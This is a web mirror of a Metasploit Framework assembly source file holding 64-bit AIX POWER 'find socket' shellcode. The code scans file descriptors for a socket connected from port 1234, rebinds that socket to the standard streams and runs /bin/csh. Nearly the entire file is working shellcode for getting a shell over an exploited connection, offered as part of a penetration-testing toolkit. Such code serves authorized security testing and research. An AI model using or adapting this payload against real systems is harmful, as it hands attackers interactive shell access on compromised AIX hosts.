CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/unixasm/aix-power-fndsockcode64.S
Views: 11766
1
/*
2
* $Id: aix-power-fndsockcode64.S 40 2008-11-17 02:45:30Z ramon $
3
*
4
* aix-power-fndsockcode64.S - AIX Power Find socket code
5
* Copyright 2008 Ramon de Carvalho Valle <[email protected]>
6
*
7
* This library is free software; you can redistribute it and/or
8
* modify it under the terms of the GNU Lesser General Public
9
* License as published by the Free Software Foundation; either
10
* version 2.1 of the License, or (at your option) any later version.
11
*
12
* This library is distributed in the hope that it will be useful,
13
* but WITHOUT ANY WARRANTY; without even the implied warranty of
14
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
15
* Lesser General Public License for more details.
16
*
17
* You should have received a copy of the GNU Lesser General Public
18
* License along with this library; if not, write to the Free Software
19
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
20
*
21
*/
22
23
/*
24
* Compile with the following command.
25
* $ gcc -Wall -DAIXLEVEL -m64 -o aix-power-fndsockcode64
26
* aix-power-fndsockcode64.S
27
*
28
* Where AIXLEVEL is one of the currently supported AIX levels.
29
* -DV530 AIX 5.3.0
30
*
31
*/
32
33
#include "aix-power.h"
34
35
.globl .main
36
.csect .text[PR]
37
38
.main:
39
40
syscallcode:
41
xor. %r31,%r31,%r31
42
bnel syscallcode
43
mflr %r30
44
cal %r30,511(%r30)
45
cal %r30,-511+28(%r30)
46
mtctr %r30
47
bctr
48
crorc %cr6,%cr6,%cr6
49
.long 0x44ffff02
50
cal %r30,-8(%r30)
51
52
fndsockcode:
53
lil %r29,__CAL
54
55
# getpeername
56
57
stu %r31,-4(%r1)
58
mr %r28,%r1
59
cal %r27,-511+44(%r29)
60
stu %r27,-4(%r1)
61
mr %r27,%r1
62
63
0:
64
cal %r31,511(%r31)
65
cal %r31,-511+1(%r31)
66
67
mr %r5,%r27
68
mr %r4,%r28
69
mr %r3,%r31
70
cal %r2,__NC_getpeername(%r29)
71
mtctr %r30
72
bctrl
73
74
cal %r26,511(%r28)
75
lhz %r26,-511+2(%r26)
76
77
cmpli 0,%r26,1234
78
bne 0b
79
80
# close
81
82
cal %r25,-511+2(%r29)
83
84
1:
85
mr %r3,%r25
86
cal %r2,__NC_close(%r29)
87
mtctr %r30
88
bctrl
89
90
# kfcntl
91
92
mr %r5,%r25
93
xor %r4,%r4,%r4
94
mr %r3,%r31
95
cal %r2,__NC_kfcntl(%r29)
96
mtctr %r30
97
bctrl
98
99
ai. %r25,%r25,-1
100
bge 1b
101
102
shellcode64:
103
# lil %r31,__CAL
104
xor. %r5,%r5,%r5
105
bnel shellcode64
106
# mflr %r30
107
# cal %r30,511(%r30)
108
# cal %r3,-511+40(%r30)
109
# stb %r5,-511+48(%r30)
110
mflr %r24
111
cal %r24,511(%r24)
112
cal %r3,-511+40(%r24)
113
stb %r5,-511+48(%r24)
114
stdu %r5,-8(%r1)
115
stdu %r3,-8(%r1)
116
mr %r4,%r1
117
# cal %r2,__NC_execve(%r31)
118
cal %r2,__NC_execve(%r29)
119
# crorc %cr6,%cr6,%cr6
120
# .long 0x44ffff02
121
mtctr %r30
122
bctrl
123
.asciz "/bin/csh"
124
125
126